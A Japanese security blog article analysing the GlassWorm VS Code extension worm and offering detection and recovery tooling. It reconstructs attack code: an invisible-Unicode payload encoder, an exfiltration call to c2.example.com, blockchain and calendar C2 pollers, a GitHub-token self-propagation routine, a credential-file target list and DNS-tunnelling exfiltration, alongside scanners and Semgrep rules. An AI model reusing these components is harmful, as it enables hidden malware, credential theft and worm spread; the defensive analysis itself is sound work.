- はじめに
- GlassWorm攻撃のタイムライン
- 技術的分析: Unicodeベースのコード隠蔽
- C2チャネル: ブロックチェーンとクラウドサービスの悪用
- 自己伝播メカニズム
- VS Code拡張機能マーケットプレイスのセキュリティモデルの限界
- 検出と防御の戦略
- VS Code拡張機能セキュリティ検証ツールの比較
- 認証情報の窃取メカニズムの詳細分析
- 感染の確認と復旧手順
- 組織レベルの開発環境セキュリティチェックリスト
- 失敗事例の分析
- 今後の展望と対応の方向性
- 参考資料
- まとめ

はじめに
2026年3月、セキュリティコミュニティを揺るがす事件が発生した。GlassWormと名付けられたマルウェアが72以上のOpen VSX拡張機能を感染させ、151のGitHubリポジトリへ自己伝播しながら開発者の認証情報を大規模に窃取したのだ(The Hacker News, March 2026)。従来のサプライチェーン攻撃が難読化(obfuscation)やタイポスクワッティング(typosquatting)に依存していたのに対し、GlassWormはUnicode変異セレクタ(Unicode Variation Selectors)とPUA(Private Use Area)文字を活用し、悪意あるコードを文字どおり「見えなく」する前例のない手法を披露した。
加えて、C2(Command and Control)チャネルとしてSolanaブロックチェーンとGoogle Calendarを活用する二重チャネル戦略は、既存のネットワークベースの検出システムを効果的に回避する新しい攻撃パラダイムを提示した。SecurityWeekの分析によれば、この攻撃は「VS Code拡張機能エコシステムのセキュリティモデルが根本的に再設計されるべきであることを示す転換点」と評価された。
本記事ではGlassWorm攻撃の技術的メカニズムをコードレベルで分析し、検出および防御の戦略を実践的なコードとともに提示しながら、組織レベルで開発環境のセキュリティを強化するための総合戦略を扱う。
GlassWorm攻撃のタイムライン
GlassWorm攻撃は単一のイベントではなく、数か月にわたって精緻に準備されたキャンペーンである。Veracodeの分析レポートをもとに攻撃のタイムラインを再構成する。
| 時点 | イベント | 影響範囲 |
|---|---|---|
| 2025年11月 | 攻撃者がOpen VSXに正常な拡張機能の登録を開始 | 初期の信頼構築 |
| 2025年12月 | Unicode隠蔽手法を適用した最初の悪性アップデートを配布 | 12個の拡張機能が感染 |
| 2026年1月 | Solana C2チャネルを有効化、認証情報の収集を開始 | 30個の拡張機能、数千人に影響 |
| 2026年2月 | 自己伝播メカニズムを有効化、GitHubリポジトリが感染 | 72個の拡張機能、151個のリポジトリ |
| 2026年3月初旬 | セキュリティ研究者が異常なトラフィックパターンを検知、初報告 | コミュニティに警報発令 |
| 2026年3月中旬 | Open VSXの緊急監査、感染した拡張機能を一括削除 | 復旧作業が進行中 |
攻撃規模のまとめ
- 感染した拡張機能の数: 72個以上 (Open VSXマーケットプレイス)
- 感染したGitHubリポジトリ: 151個以上
- 影響を受けた開発者の数: 推定で約50,000人以上 (ダウンロード統計に基づく)
- 窃取された認証情報の種類: GitHub Token、SSH鍵、AWS/GCPの資格情報、npmトークン
- SOCKSプロキシノード: 感染システムのうち約2,000個がプロキシネットワークに組み込まれた
技術的分析: Unicodeベースのコード隠蔽
GlassWormの最も革新的な(そして危険な)側面は、Unicode文字を用いたコード隠蔽手法である。DarkReadingの報道によれば、この手法は既存のどの難読化手法よりも検出が難しい。
Unicode変異セレクタ(Variation Selectors)とは
Unicode変異セレクタは、U+FE00からU+FE0Fまでの16文字と、U+E0100からU+E01EFまでの240個の補助変異セレクタで構成される。これらの文字は直前に来る基底文字の表現形を指定するが、単独では画面にまったく表示されない。
// Unicode変異セレクタの基本原理
// U+FE00 ~ U+FE0F: Variation Selectors (16文字)
// U+E0100 ~ U+E01EF: Supplementary Variation Selectors (240文字)
// 例: 同じ漢字の異なる表現
const char1 = '\u8FD1\uFE00' // 近 + VS1 (日本式)
const char2 = '\u8FD1\uFE01' // 近 + VS2 (中国式)
// 2つの文字は視覚的に異なりうるが、
// VS自体はレンダリングされないゼロ幅文字である
console.log('\uFE00'.length) // 1 (文字は存在するが見えない)
GlassWormの隠蔽エンコーディングメカニズム
GlassWormは悪意あるJavaScriptペイロードを、Unicode変異セレクタとPUA文字の組み合わせでエンコードする。核心となる原理は次のとおりである。
// GlassWormのエンコード方式の再現 (セキュリティ研究目的)
// 元の悪性コードの各バイトを不可視のUnicode文字へ変換する
function encodeToInvisible(payload) {
const encoded = []
for (let i = 0; i < payload.length; i++) {
const byte = payload.charCodeAt(i)
// 上位4ビット -> Variation Selector (U+FE00 + nibble)
const highNibble = (byte >> 4) & 0x0f
encoded.push(String.fromCharCode(0xfe00 + highNibble))
// 下位4ビット -> PUA文字 (U+E0100 + nibble)
const lowNibble = byte & 0x0f
// 補助文字はサロゲートペアでエンコードする
encoded.push(String.fromCodePoint(0xe0100 + lowNibble))
}
return encoded.join('')
}
function decodeFromInvisible(invisible) {
const decoded = []
let i = 0
while (i < invisible.length) {
const highChar = invisible.codePointAt(i)
i += highChar > 0xffff ? 2 : 1
const lowChar = invisible.codePointAt(i)
i += lowChar > 0xffff ? 2 : 1
const highNibble = (highChar - 0xfe00) & 0x0f
const lowNibble = (lowChar - 0xe0100) & 0x0f
decoded.push(String.fromCharCode((highNibble << 4) | lowNibble))
}
return decoded.join('')
}
// 使用例
const maliciousCode = 'fetch("https://c2.example.com/exfil",{method:"POST"})'
const invisible = encodeToInvisible(maliciousCode)
console.log(invisible.length) // 長さはあるが...
console.log(invisible.trim()) // 画面には何も見えない
実際に感染したファイルの構造
感染したVS Code拡張機能のextension.jsファイルは、見た目には完全に正常に見える。Snykの分析によれば、コードレビューでも悪意あるコードを発見するのは極めて難しい。
// 感染したextension.jsの構造 (簡略化)
const vscode = require('vscode')
function activate(context) {
// 正常な拡張機能のコード
let disposable = vscode.commands.registerCommand('myext.helloWorld', function () {
vscode.window.showInformationMessage('Hello World!')
})
context.subscriptions.push(disposable)
// 以下の空行のあいだに、不可視のUnicode文字で
// エンコードされた悪性ペイロードが隠されている
// (エディタでは空白に見える)
const _ = '\u200B' // ZWSアンカー文字の後ろに数百個のVS/PUA文字列が続く
// デコーダ: 正常なユーティリティ関数に偽装
function normalizeText(input) {
// 実際には隠されたペイロードをデコードして実行する
const chars = Array.from(input)
const filtered = chars.filter((c) => c.codePointAt(0) >= 0xfe00)
// ... デコードおよびevalの実行
}
}
function deactivate() {}
module.exports = { activate, deactivate }
なぜ既存のツールでは検出が難しいのか
GlassWormのUnicode隠蔽手法が既存のセキュリティツールを回避する理由は、コードで確認できる。
# 既存の静的解析ツールの限界のデモ
import re
# 一般的な悪性コード検出パターン
suspicious_patterns = [
r'eval\s*\(',
r'Function\s*\(',
r'require\s*\(\s*["\']child_process["\']\s*\)',
r'exec\s*\(',
r'fetch\s*\(\s*["\']https?://',
]
# 感染したファイルの内容 (Unicode隠蔽を適用)
infected_content = '''
const vscode = require('vscode');
function activate(context) {
let disposable = vscode.commands.registerCommand('myext.hello', function() {
vscode.window.showInformationMessage('Hello!');
});
context.subscriptions.push(disposable);
}
module.exports = { activate };
'''
# 注意: 実際の感染ファイルでは、上のコードの合間に
# 数百個の不可視Unicode文字が挿入されている
for pattern in suspicious_patterns:
match = re.search(pattern, infected_content)
print(f"Pattern '{pattern}': {'DETECTED' if match else 'CLEAN'}")
# すべてのパターンでCLEANと判定される
# 悪性コードがUnicodeでエンコードされており正規表現に引っかからない
C2チャネル: ブロックチェーンとクラウドサービスの悪用
GlassWormの2つ目の革新は、C2(Command and Control)チャネルの設計にある。従来のドメインベースのC2ではなく、ブロックチェーンと合法的なクラウドサービスを二重チャネルとして活用する。
Solanaブロックチェーンを使ったC2
Fluid Attacksの技術ブログによれば、GlassWormはSolanaブロックチェーンのトランザクションのmemoフィールドにC2コマンドをエンコードして伝達する。
// Solanaブロックチェーンを使ったC2チャネルのメカニズム (分析用の再現)
// 攻撃者はSolanaトランザクションのmemoフィールドにコマンドをエンコードする
// ステップ1: 攻撃者がSolanaに命令トランザクションを発行
// memoフィールド: base64エンコードされたJSONコマンド
// 例: eyJjbWQiOiJleGZpbCIsInRhcmdldCI6Ii5zc2gifQ==
// デコード結果: {"cmd":"exfil","target":".ssh"}
// ステップ2: 感染した拡張機能がSolana RPCでトランザクションを照会
async function fetchC2Commands(walletAddress) {
const response = await fetch('https://api.mainnet-beta.solana.com', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'getSignaturesForAddress',
params: [walletAddress, { limit: 10 }],
}),
})
const data = await response.json()
// トランザクションからmemoフィールドを抽出してデコードする
return data.result.map((tx) => decodeCommand(tx.memo))
}
// ステップ3: コマンドの実行
function executeCommand(cmd) {
switch (cmd.type) {
case 'exfil':
// 認証情報の収集と送信
exfiltrateCredentials(cmd.target)
break
case 'proxy':
// SOCKSプロキシを有効化
startSocksProxy(cmd.port)
break
case 'spread':
// 自己伝播を実行
propagateToRepos(cmd.scope)
break
}
}
なぜブロックチェーンC2が危険なのか
| 特性 | 従来型C2(ドメインベース) | ブロックチェーンC2(Solana) |
|---|---|---|
| テイクダウン | ドメインの押収/遮断が可能 | 不可能(非中央集権) |
| トラフィック分類 | 疑わしいドメインとして検出 | 正常なブロックチェーンAPIトラフィック |
| 可用性 | 単一障害点が存在 | 99.99%の可用性 |
| 匿名性 | WHOISで追跡可能 | ウォレットアドレスのみ露出 |
| コスト | サーバー運用コスト | トランザクションあたり約0.00025 SOL |
| 遮断の難易度 | ファイアウォールルールで遮断 | すべてのSolana RPCの遮断が必要 |
| ログの残存 | サーバーログを削除可能 | ブロックチェーンに永久記録 |
Google CalendarによるC2バックアップチャネル
ブロックチェーンへのアクセスが遮断された場合に備えたバックアップC2チャネルとして、Google Calendar APIを活用する。
// Google CalendarによるC2バックアップチャネルのメカニズム
// 攻撃者が共有カレンダーのイベント説明にコマンドを埋め込む
async function fetchCalendarCommands(calendarId, apiKey) {
const now = new Date().toISOString()
const url =
`https://www.googleapis.com/calendar/v3/calendars/` +
`${encodeURIComponent(calendarId)}/events` +
`?key=${apiKey}` +
`&timeMin=${now}` +
`&maxResults=5` +
`&orderBy=startTime` +
`&singleEvents=true`
const response = await fetch(url)
const data = await response.json()
return data.items
.filter((event) => event.description)
.map((event) => {
// イベント説明からbase64エンコードされたコマンドを抽出
const match = event.description.match(/\[config:([A-Za-z0-9+/=]+)\]/)
if (match) {
return JSON.parse(atob(match[1]))
}
return null
})
.filter(Boolean)
}
この方式の巧妙さは、Google Calendar APIのトラフィックが大半の企業ネットワークで許可リスト(allowlist)に含まれている点にある。ファイアウォールやプロキシでgoogleapis.comへのトラフィックを遮断すると正常なGoogle Workspaceの利用にも影響が及ぶため、セキュリティチームが簡単に遮断するのは難しい。
自己伝播メカニズム
Veracodeのレポートが「最初の自己伝播型VS Code拡張機能ワーム」と名付けたGlassWormの伝播メカニズムを分析する。
GitHubリポジトリの感染フロー
[感染した開発者環境]
|
v
[1. GitHub Tokenを窃取]
|
v
[2. 開発者のリポジトリ一覧を照会]
|
v
[3. 各リポジトリのpackage.json / .vscode/extensions.jsonを改変]
|
v
[4. 悪性拡張機能の依存を追加するコミット]
|
v
[5. 他の開発者がリポジトリをクローンすると感染拡張機能の自動インストールを推奨]
|
v
[6. 新しい開発者環境が感染 -> ステップ1へ繰り返し]
伝播コードの分析
// 自己伝播メカニズム (分析用に簡略化)
async function propagate(githubToken) {
const headers = {
Authorization: `token ${githubToken}`,
Accept: 'application/vnd.github.v3+json',
}
// 1. ユーザーのすべてのリポジトリを照会
const repos = await fetch('https://api.github.com/user/repos?per_page=100', {
headers,
}).then((r) => r.json())
for (const repo of repos) {
// 2. .vscode/extensions.jsonを確認、なければ作成
try {
const extensionsFile = await fetch(
`https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
{ headers }
).then((r) => r.json())
const content = JSON.parse(Buffer.from(extensionsFile.content, 'base64').toString())
// 3. 悪性拡張機能がすでに含まれているかを確認
const maliciousExtId = 'publisher.innocent-looking-extension'
if (content.recommendations && !content.recommendations.includes(maliciousExtId)) {
content.recommendations.push(maliciousExtId)
// 4. 変更したファイルをコミット
await fetch(
`https://api.github.com/repos/${repo.full_name}/contents/.vscode/extensions.json`,
{
method: 'PUT',
headers,
body: JSON.stringify({
message: 'chore: update recommended extensions',
content: Buffer.from(JSON.stringify(content, null, 2)).toString('base64'),
sha: extensionsFile.sha,
}),
}
)
}
} catch (e) {
// ファイルが存在しなければ新規に作成する
// ...
}
}
}
伝播の速度と範囲
DarkReadingの報道によれば、GlassWormの自己伝播は指数関数的な成長パターンを示した。
- 1週目: 12個の拡張機能 -> 約500人が感染
- 2週目: 30個の拡張機能 -> 約5,000人が感染
- 3週目: 50個の拡張機能 -> 約20,000人が感染
- 4週目: 72個の拡張機能 -> 約50,000人以上が感染
感染した開発者はそれぞれ平均3~5個のリポジトリを保有していたため、リポジトリの感染はさらに速く進んだ。特にオープンソースプロジェクトでは多数のコントリビュータがリポジトリをクローンするため、感染速度はクローズドなリポジトリより約4倍速いと分析された。
VS Code拡張機能マーケットプレイスのセキュリティモデルの限界
現在のセキュリティモデルの構造的な問題
VS Code拡張機能マーケットプレイス(Visual Studio MarketplaceおよびOpen VSX)のセキュリティモデルは、次のような構造的限界を抱えている。
| セキュリティ観点 | 現状 | 問題点 |
|---|---|---|
| 公開者の検証 | メール認証のみ必要 | 身元確認がなく、誰でも公開可能 |
| コードレビュー | 自動化された静的解析が不十分 | Unicode隠蔽など新しい手法を検出できない |
| 権限モデル | インストール時にすべての権限を付与 | 最小権限の原則が未適用 |
| アップデート検証 | 自動アップデート、追加検証なし | 正常な拡張機能の悪性アップデートを遮断できない |
| 署名体系 | 任意の署名 | 強制署名がなく完全性を保証できない |
| SBOM | 未提供 | 拡張機能の依存関係の透明性が不足 |
npmエコシステムとの比較
# npmは2022年からmandatory 2FAとprovenance attestationを導入
# VS Codeマーケットプレイスはまだこれに準じるセキュリティ体系が未整備
# npm provenanceの確認例
npm audit signatures
# 出力: audited 150 packages in 2s
# 150 packages have verified registry signatures
# VS Code拡張機能にはこれに該当するコマンドがない
# 拡張機能の完全性を検証できる公式ツールが存在しない
権限モデルの不在
VS Code拡張機能は、インストールした瞬間にホストシステムへの広範なアクセス権限を得る。ブラウザ拡張機能がpermissionsマニフェストを通じて権限を宣言し、ユーザーの同意を得るのとは対照的である。
// ブラウザ拡張機能の権限宣言 (Chrome Extension Manifest V3)
{
"permissions": ["activeTab", "storage"],
"host_permissions": ["https://api.example.com/*"]
}
// VS Code拡張機能にはこうした細分化された権限モデルがない
// package.jsonの"activationEvents"は機能的なトリガーにすぎず
// セキュリティ境界(security boundary)を形成しない
検出と防御の戦略
1. Unicode異常検出スクリプト
GlassWormの中核であるUnicode隠蔽を検出するためのスクリプトを書くことができる。
#!/usr/bin/env python3
"""
GlassWorm Unicode隠蔽検出スクリプト
不可視Unicode文字の異常な集中を検出する。
"""
import os
import sys
from pathlib import Path
from collections import Counter
# 疑わしいUnicodeの範囲
SUSPICIOUS_RANGES = [
(0xFE00, 0xFE0F, "Variation Selectors"),
(0xE0100, 0xE01EF, "Supplementary Variation Selectors"),
(0xE000, 0xF8FF, "Private Use Area"),
(0xF0000, 0xFFFFF, "Supplementary PUA-A"),
(0x100000, 0x10FFFD, "Supplementary PUA-B"),
(0x200B, 0x200F, "Zero-Width Characters"),
(0x2028, 0x202F, "General Punctuation (invisible)"),
(0x2060, 0x206F, "Invisible Formatting"),
(0xFEFF, 0xFEFF, "BOM / Zero-Width No-Break Space"),
]
def scan_file(filepath):
"""ファイルから疑わしいUnicode文字をスキャンする。"""
findings = []
try:
with open(filepath, 'r', encoding='utf-8') as f:
content = f.read()
except (UnicodeDecodeError, PermissionError):
return findings
suspicious_count = Counter()
line_findings = {}
for line_num, line in enumerate(content.split('\n'), 1):
for char in line:
cp = ord(char)
for start, end, name in SUSPICIOUS_RANGES:
if start <= cp <= end:
suspicious_count[name] += 1
if line_num not in line_findings:
line_findings[line_num] = []
line_findings[line_num].append(
f"U+{cp:04X} ({name})"
)
# しきい値: ファイルサイズに対する不可視文字の比率
total_suspicious = sum(suspicious_count.values())
if total_suspicious > 10: # 既定のしきい値
ratio = total_suspicious / max(len(content), 1)
severity = "CRITICAL" if ratio > 0.01 else "WARNING"
findings.append({
'file': str(filepath),
'severity': severity,
'total_suspicious': total_suspicious,
'ratio': f"{ratio:.4%}",
'breakdown': dict(suspicious_count),
'affected_lines': dict(
list(line_findings.items())[:10]
),
})
return findings
def scan_directory(directory, extensions=None):
"""ディレクトリを再帰的にスキャンする。"""
if extensions is None:
extensions = {'.js', '.ts', '.json', '.mjs', '.cjs'}
all_findings = []
path = Path(directory)
for filepath in path.rglob('*'):
if filepath.suffix in extensions and filepath.is_file():
findings = scan_file(filepath)
all_findings.extend(findings)
return all_findings
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else '.'
findings = scan_directory(target)
if findings:
print(f"\n[ALERT] {len(findings)} suspicious file(s) found:\n")
for f in findings:
print(f" [{f['severity']}] {f['file']}")
print(f" Suspicious chars: {f['total_suspicious']}")
print(f" Ratio: {f['ratio']}")
print(f" Breakdown: {f['breakdown']}")
print()
else:
print("[OK] No suspicious Unicode patterns detected.")
2. Git pre-commitフックによる自動検査
#!/bin/bash
# .git/hooks/pre-commit
# コミット前にUnicode隠蔽文字を自動で検査する
echo "Scanning for suspicious Unicode characters..."
# ステージングされたファイルの一覧
FILES=$(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(js|ts|json|mjs|cjs)$')
if [ -z "$FILES" ]; then
exit 0
fi
FOUND=0
for FILE in $FILES; do
# Variation Selectorsの検査 (U+FE00-FE0F)
if perl -ne 'print if /[\x{FE00}-\x{FE0F}\x{E0100}-\x{E01EF}]/' "$FILE" | grep -q .; then
echo "[BLOCKED] Suspicious Variation Selectors found in: $FILE"
FOUND=1
fi
# PUA文字の検査 (U+E000-F8FF)
if perl -ne 'print if /[\x{E000}-\x{F8FF}]/' "$FILE" | grep -q .; then
echo "[WARNING] Private Use Area characters found in: $FILE"
# PUAには一部正常な用途があるため警告のみ
fi
# Zero-width文字の過剰使用の検査
ZW_COUNT=$(perl -ne 'print while /[\x{200B}-\x{200F}\x{2060}-\x{206F}\x{FEFF}]/g' "$FILE" | wc -c)
if [ "$ZW_COUNT" -gt 20 ]; then
echo "[BLOCKED] Excessive zero-width characters ($ZW_COUNT) in: $FILE"
FOUND=1
fi
done
if [ "$FOUND" -eq 1 ]; then
echo ""
echo "Commit blocked: Suspicious Unicode patterns detected."
echo "If these are intentional, use --no-verify to bypass."
exit 1
fi
echo "Unicode scan passed."
exit 0
3. VS Codeの設定に基づく防御
// .vscode/settings.json - チーム単位のセキュリティ設定
{
// 拡張機能の自動アップデートを無効化
"extensions.autoUpdate": false,
// 拡張機能のインストール時に確認を要求
"extensions.autoCheckUpdates": true,
// 不可視Unicode文字の可視化
"editor.unicodeHighlight.ambiguousCharacters": true,
"editor.unicodeHighlight.invisibleCharacters": true,
"editor.unicodeHighlight.nonBasicASCII": true,
// Unicode文字の許容範囲を制限
"editor.unicodeHighlight.allowedLocales": {
"ko": true,
"ja": true
},
// ターミナルでのUnicode警告
"terminal.integrated.unicodeVersion": "11",
// ワークスペース信頼の設定
"security.workspace.trust.enabled": true,
"security.workspace.trust.startupPrompt": "always",
"security.workspace.trust.untrustedFiles": "prompt"
}
4. CI/CDパイプラインへの検査の統合
# .github/workflows/unicode-security-scan.yml
name: Unicode Security Scan
on:
pull_request:
paths:
- '**.js'
- '**.ts'
- '**.json'
- '**.mjs'
push:
branches: [main, develop]
jobs:
unicode-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install scanner dependencies
run: pip install unicode-security-scanner
- name: Scan for invisible Unicode characters
run: |
python scripts/unicode_scanner.py . \
--extensions .js,.ts,.json,.mjs,.cjs \
--threshold 10 \
--severity critical \
--output report.json
- name: Check scan results
run: |
if [ -f report.json ]; then
CRITICAL=$(python -c "
import json
with open('report.json') as f:
data = json.load(f)
print(sum(1 for r in data if r['severity'] == 'CRITICAL'))
")
if [ "$CRITICAL" -gt 0 ]; then
echo "CRITICAL: Found $CRITICAL files with suspicious Unicode"
exit 1
fi
fi
- name: Upload scan report
if: always()
uses: actions/upload-artifact@v4
with:
name: unicode-scan-report
path: report.json
VS Code拡張機能セキュリティ検証ツールの比較
さまざまなVS Code拡張機能セキュリティツールを比較し、組織に適したツールを選べるようにする。
| ツール | 種別 | Unicode検出 | 挙動分析 | CI/CD統合 | リアルタイム監視 | ライセンス |
|---|---|---|---|---|---|---|
| ExtensionTotal | オンラインスキャナ | 部分対応 | 静的解析 | REST API | 非対応 | 無料 |
| Snyk Code | SAST | 対応 | 静的+パターン | ネイティブ | 対応 | 商用 (無料ティア) |
| Semgrep | SAST | カスタムルール | 静的解析 | ネイティブ | 非対応 | OSS + 商用 |
| GuardDog | パッケージスキャナ | 対応 | インストールスクリプト | CLI | 非対応 | OSS (Apache-2.0) |
| Socket.dev | サプライチェーン分析 | 対応 | 挙動分析 | GitHub App | 対応 | 商用 (無料ティア) |
| カスタムスクリプト | 社内ツール | 完全に制御可能 | 実装が必要 | 実装が必要 | 実装が必要 | N/A |
Semgrepを活用したカスタム検出ルール
# .semgrep/glassworm-detection.yml
rules:
- id: suspicious-unicode-variation-selectors
patterns:
- pattern-regex: '[\uFE00-\uFE0F]'
message: >
Detected Unicode Variation Selector characters that may indicate
GlassWorm-style code obfuscation. Review this file carefully.
severity: ERROR
languages: [javascript, typescript]
metadata:
category: security
technology: [vscode-extension]
cwe: 'CWE-506: Embedded Malicious Code'
references:
- https://owasp.org/www-community/attacks/Supply_Chain_Attack
- id: suspicious-unicode-pua
patterns:
- pattern-regex: '[\uE000-\uF8FF]'
message: >
Detected Private Use Area Unicode characters. These are rarely
used in legitimate code and may indicate obfuscation.
severity: WARNING
languages: [javascript, typescript]
- id: suspicious-eval-from-string-manipulation
patterns:
- pattern: |
$FUNC = $STR.split(...).map(...).join(...)
...
eval($FUNC)
message: >
Detected eval() called on string manipulation result.
This pattern is commonly used to execute obfuscated code.
severity: ERROR
languages: [javascript, typescript]
- id: solana-rpc-call-in-extension
patterns:
- pattern: |
fetch("=~/.*solana.*mainnet.*/", ...)
message: >
Detected Solana blockchain RPC call. VS Code extensions
should not normally interact with blockchain networks.
severity: ERROR
languages: [javascript, typescript]
- id: credential-file-access
patterns:
- pattern: |
$FS.readFileSync("=~/.*\.(ssh|aws|gcp|npmrc).*/", ...)
message: >
Detected access to credential files. This is a common
exfiltration technique in supply chain attacks.
severity: ERROR
languages: [javascript, typescript]
認証情報の窃取メカニズムの詳細分析
GlassWormが窃取する認証情報の種類と、その収集経路を詳しく分析する。
窃取対象の一覧
// GlassWormが探索する認証情報のパス (分析結果)
const TARGET_CREDENTIALS = [
// Git関連
{ path: '~/.gitconfig', type: 'git-config' },
{ path: '~/.git-credentials', type: 'git-credentials' },
// SSH
{ path: '~/.ssh/id_rsa', type: 'ssh-private-key' },
{ path: '~/.ssh/id_ed25519', type: 'ssh-private-key' },
{ path: '~/.ssh/config', type: 'ssh-config' },
// AWS
{ path: '~/.aws/credentials', type: 'aws-credentials' },
{ path: '~/.aws/config', type: 'aws-config' },
// GCP
{
path: '~/.config/gcloud/application_default_credentials.json',
type: 'gcp-credentials',
},
// Azure
{ path: '~/.azure/accessTokens.json', type: 'azure-tokens' },
// npm
{ path: '~/.npmrc', type: 'npm-token' },
// Docker
{ path: '~/.docker/config.json', type: 'docker-credentials' },
// Kubernetes
{ path: '~/.kube/config', type: 'kubeconfig' },
// VS Code自体
{
path: '~/.vscode/extensions/*/credentials.json',
type: 'vscode-extension-creds',
},
]
窃取データの送信方式
// データ送信は複数のチャネルに分散して行う
// DNSトンネリングによる少量データの流出
async function exfilViaDNS(data, domain) {
const chunks = chunkData(data, 63) // DNSラベルの最大長
for (const chunk of chunks) {
// DNSクエリを装ったデータ送信
// chunk.encoded-data.c2domain.com
try {
await fetch(`https://dns.google/resolve?name=${chunk}.${domain}&type=TXT`)
} catch (e) {
// 失敗しても静かに無視する
}
// 検出回避のためのランダムな遅延
await sleep(Math.random() * 5000 + 1000)
}
}
感染の確認と復旧手順
ステップ1: 感染の有無を確認する
#!/bin/bash
# glassworm-check.sh - GlassWormの感染有無を確認するスクリプト
echo "=== GlassWorm Infection Check ==="
echo ""
# 1. インストール済みのVS Code拡張機能の一覧を確認
echo "[1/5] Checking installed extensions..."
EXTENSIONS=$(code --list-extensions --show-versions 2>/dev/null)
if [ -z "$EXTENSIONS" ]; then
echo " VS Code CLI not available. Check manually."
else
# 既知の感染拡張機能の一覧 (例)
KNOWN_MALICIOUS=(
"fake-publisher.theme-darkplus-enhanced"
"fake-publisher.prettier-format-plus"
"fake-publisher.eslint-advanced"
)
for ext in "${KNOWN_MALICIOUS[@]}"; do
if echo "$EXTENSIONS" | grep -qi "$ext"; then
echo " [CRITICAL] Known malicious extension found: $ext"
fi
done
echo " Extension check complete."
fi
# 2. 最近変更された拡張機能ファイルを確認
echo ""
echo "[2/5] Checking recently modified extension files..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
find "$VSCODE_EXT_DIR" -name "*.js" -mtime -7 -type f | head -20
else
echo " Extension directory not found at $VSCODE_EXT_DIR"
fi
# 3. 異常なネットワーク接続を確認
echo ""
echo "[3/5] Checking suspicious network connections..."
if command -v lsof &> /dev/null; then
lsof -i -P -n 2>/dev/null | grep -E "(solana|googleapis.*calendar)" | head -10
fi
# 4. Git設定の改ざんを確認
echo ""
echo "[4/5] Checking git configuration integrity..."
if [ -f "$HOME/.git-credentials" ]; then
echo " [WARNING] .git-credentials file exists - verify its contents"
stat "$HOME/.git-credentials" | grep "Modify"
fi
# 5. SSH鍵への最近のアクセスを確認
echo ""
echo "[5/5] Checking SSH key access times..."
if [ -d "$HOME/.ssh" ]; then
ls -la "$HOME/.ssh/" | grep -E "id_rsa|id_ed25519"
fi
echo ""
echo "=== Check Complete ==="
echo "If any CRITICAL findings, proceed to recovery steps immediately."
ステップ2: 緊急復旧の手順
#!/bin/bash
# glassworm-recovery.sh - 感染時の緊急復旧スクリプト
echo "=== GlassWorm Recovery Procedure ==="
echo "[WARNING] This will revoke credentials and reinstall VS Code."
echo ""
read -p "Continue? (yes/no): " CONFIRM
if [ "$CONFIRM" != "yes" ]; then
echo "Aborted."
exit 0
fi
# 1. GitHubトークンを直ちに失効させる
echo "[1/6] Revoking GitHub tokens..."
echo " -> Go to https://github.com/settings/tokens and revoke ALL tokens"
echo " -> Enable SSO re-authorization if applicable"
echo " Press Enter when done..."
read
# 2. SSH鍵のローテーション
echo "[2/6] Rotating SSH keys..."
if [ -f "$HOME/.ssh/id_ed25519" ]; then
mv "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ed25519.compromised.bak"
mv "$HOME/.ssh/id_ed25519.pub" "$HOME/.ssh/id_ed25519.pub.compromised.bak"
fi
ssh-keygen -t ed25519 -C "recovery-$(date +%Y%m%d)" -f "$HOME/.ssh/id_ed25519"
echo " -> Upload new public key to GitHub/GitLab"
# 3. AWSの資格情報のローテーション
echo "[3/6] Rotating AWS credentials..."
if command -v aws &> /dev/null; then
echo " Current identity:"
aws sts get-caller-identity 2>/dev/null
echo " -> Rotate access keys via AWS IAM Console"
echo " -> Revoke all active sessions"
fi
# 4. VS Code拡張機能の整理
echo "[4/6] Cleaning VS Code extensions..."
VSCODE_EXT_DIR="$HOME/.vscode/extensions"
if [ -d "$VSCODE_EXT_DIR" ]; then
echo " Backing up extension list..."
code --list-extensions > "$HOME/vscode-extensions-backup.txt" 2>/dev/null
echo " Removing all extensions..."
rm -rf "$VSCODE_EXT_DIR"/*
echo " Reinstall trusted extensions from backup list manually."
fi
# 5. npmトークンのローテーション
echo "[5/6] Revoking npm tokens..."
if [ -f "$HOME/.npmrc" ]; then
echo " -> Run: npm token revoke <token>"
echo " -> Generate new token: npm token create"
fi
# 6. Gitリポジトリの監査
echo "[6/6] Auditing git repositories..."
echo " Check recent commits in all repositories for unauthorized changes:"
echo " Look for modifications to:"
echo " - .vscode/extensions.json"
echo " - package.json (new dependencies)"
echo " - .github/workflows/ (new workflows)"
echo ""
echo "=== Recovery Complete ==="
echo "NEXT STEPS:"
echo "1. Enable 2FA on all accounts if not already enabled"
echo "2. Review GitHub audit log: https://github.com/settings/security-log"
echo "3. Report incident to your security team"
echo "4. Monitor accounts for suspicious activity for 30 days"
組織レベルの開発環境セキュリティチェックリスト
すぐに適用できる項目 (Quick Wins)
- VS Code拡張機能の自動アップデートを無効化 (
extensions.autoUpdate: false) -
editor.unicodeHighlight.invisibleCharacters: trueを全社に適用 - 承認済み拡張機能のリスト(allowlist)の作成と管理
- Git pre-commitフックにUnicodeスキャンを追加
- 開発者アカウント全体に2FAを強制適用
短期目標 (1~2週間)
- CI/CDパイプラインにUnicodeセキュリティスキャンの段階を追加
- VS Codeのプロファイル機能を活用した拡張機能管理ポリシーの策定
- Semgrepまたは類似ツールにGlassWorm検出ルールを追加
- 認証情報の保存方式の監査 (ファイルベース -> シークレットマネージャへ移行)
- 開発者向けサプライチェーンセキュリティ教育の実施
中期目標 (1~3か月)
- 開発環境の標準化 (Dev Container / Codespaceの導入検討)
- 拡張機能のセキュリティゲートウェイの構築 (社内ミラーリポジトリ)
- EDR(Endpoint Detection and Response)ソリューションの開発端末への展開
- 定期的なセキュリティ監査プロセスの確立 (四半期ごと)
- SBOMの生成および管理体制の導入
長期目標 (3~6か月)
- ゼロトラスト開発環境アーキテクチャの導入
- ハードウェアセキュリティキー(FIDO2)ベースの認証への移行
- クラウドベース開発環境(CDE)への全面移行の検討
- サプライチェーンセキュリティ成熟度モデルの導入 (SLSA Level 3以上)
- セキュリティチャンピオン(Security Champion)プログラムの運営
失敗事例の分析
事例1: 自動アップデートによる大規模感染
